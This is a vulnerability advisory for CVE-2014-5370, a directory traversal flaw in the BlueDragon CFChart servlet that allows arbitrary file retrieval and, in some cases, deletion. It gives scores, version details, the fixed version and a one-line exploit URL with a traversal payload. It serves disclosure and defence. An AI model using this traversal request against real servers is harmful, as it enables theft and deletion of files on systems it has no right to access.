BlueDragon CFChart Servlet 7.1.1.17759 Directory Traversal

Published
Credit
Risk
2015.04.21
Mike Westmacott
Medium
CWE
CVE
Local
Remote
CWE-22
CVE-2014-5370
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.5/10
6.4/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

Vulnerability title: Arbitrary File Retrieval + Deletion In New Atlanta BlueDragon CFChart Servlet
CVE: CVE-2014-5370
Vendor: New Atlanta
Product: BlueDragon CFChart Servlet
Affected version: 7.1.1.17759
Fixed version: 7.1.1.18527
Reported by: Mike Westmacott
Details:

The CFChart servlet of BlueDragon (component com.naryx.tagfusion.cfm.cfchartServlet) is vulnerable to arbitrary file retrieval due to a directory traversal vulnerability. In certain circumstances the retrieved file is also deleted.

Exploit:

In order to retrieve a file from a vulnerable server use the following URL in a web browser and intercept the response from the server:


http://TARGETHOST/cfchart.cfchart?..\..\..\..\..\..\..\..\..\..\TARGETFILE

The browser will display a broken image, however the HTTP response will contain the file?s contents.

Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-5370/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2015, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

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References:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-5370/


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